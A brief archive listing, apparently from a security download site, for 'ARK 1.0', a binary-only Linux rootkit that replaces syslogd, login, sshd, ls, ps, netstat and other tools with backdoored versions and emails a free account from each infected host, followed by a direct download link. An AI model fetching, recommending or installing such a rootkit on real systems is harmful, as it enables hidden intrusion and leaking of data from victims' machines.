ARK version 1.0 – Ambient’s Rootkit for Linux. Binaries only. This package includes backdoored versions of syslogd, login, sshd, ls, du, ps, pstree, killall, and netstat. Warning: ARK sends email to a free email account on each system it is installed on – It is backdoored.
You can download it from the following link: https://packetstormsecurity.com/files/download/23796/ark-1.0.tar.gz
Source: https://packetstormsecurity.com/files/23796/ark-1.0.tar.gz.html